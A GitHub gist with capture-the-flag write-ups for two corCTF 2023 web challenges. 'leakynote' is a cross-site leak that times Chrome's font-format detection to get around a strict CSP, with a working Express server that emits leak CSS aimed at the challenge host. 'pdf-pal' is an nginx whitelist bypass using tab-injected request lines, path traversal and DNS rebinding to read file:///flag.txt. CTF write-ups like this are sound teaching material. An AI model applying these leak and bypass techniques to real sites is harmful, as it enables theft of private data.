Skip to content

Instantly share code, notes, and snippets.

@parrot409
Last active September 4, 2023 13:49
Show Gist options
  • Save parrot409/09688d0bb81acbe8cd1a10cfdaa59e45 to your computer and use it in GitHub Desktop.
Save parrot409/09688d0bb81acbe8cd1a10cfdaa59e45 to your computer and use it in GitHub Desktop.
corctf 2023 - leakynote & pdfpal

Leaky note

The challenge:

404 page XSLeak SSLeak? challenge but the session cookie's samsite attribute is Lax. We have HTML injection in one of the pages but there is a csp.

Content-Security-Policy "script-src 'none'; object-src 'none'; frame-ancestors 'none';";

It would be easy if we could use object elements since they render a HTML when they receive a 404 response.

The idea to solve:

  • You can provide multiple sources for a font and chrome tries to load them in order and stops when it imports a valid font.
  • If you provide two identical sources, chrome only sends one network request and provides the response to both requests.
@font-face {
	  font-family: a;
	  src: url(/font),url(/font)
}
/* Only one request to /font will be issued and both url()s will receive a copy of the resonse **/
  • Chrome cares about the status code of the responses ( but not about mime-type ).

200 status code => try to detect the font format and fail if it isn't a valid font.

404 status code => fail instantly

  • Detecting the format of the font costs way more processing power so it allows us to distinguish 404 and 200 responses.

  • Leak "how long it takes to detect the font"

  • W

@font-face {
	  font-family: a;
	  src: url(/time-before),url(/search.php?query=corctf{a),url(/search.php?query=corctf{a),... /*10000 times */,url(/time-after)
}

pdf-pal

Bypass the nginx ip whitelist with tabs POST /generate\tHTTP/1.1/%2e%2e/%2e%2e/FF HTTP/1.1 . Use dns rebinding to request file:///flag.txt directly to the pdf-creation api then grab the file directly from the server since it's also serving the output folder.

#!/usr/bin/env node
const express = require('express')
const app = express()
app.use((req,res,next)=>{
res.setHeader('Access-Control-Allow-Origin','*')
res.setHeader('Cache-Control','no-store')
next()
})
let prev = null
app.get('/time',(req,res)=>{
if(prev){
console.log(req.query.c,(new Date()).getTime()-prev)
prev = null
} else {
prev = (new Date()).getTime()
}
res.send('')
})
let flag = require('fs').readFileSync('/tmp/flag').toString().trim()
setInterval(()=>{
flag = require('fs').readFileSync('/tmp/flag').toString().trim()
},500)
let idx = 0
const alphabet = 'abcdefghijklmnopqrstuvwxyz_'
app.get('/leak',(req,res)=>{
console.log('lol',flag)
res.setHeader('content-type','text/css')
let r = Math.random().toString().slice(3)
let s = `
@font-face {
font-family: a${r};
src: `
for(let i=0;i<alphabet.length;i++){
let tt = flag+alphabet[i]
s += `url(/time?c=${tt}&$rand$),${`url(https://leakynote.be.ax/search.php?query=${tt}),`.repeat(10000)}url(/time?c=${tt}&$rand$),`
}
s += `url();\n} body {font-family: a${r}}`
s = s.replaceAll('$rand$',()=>Math.random().toString().slice(4))
res.send(s)
})
app.listen(80)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment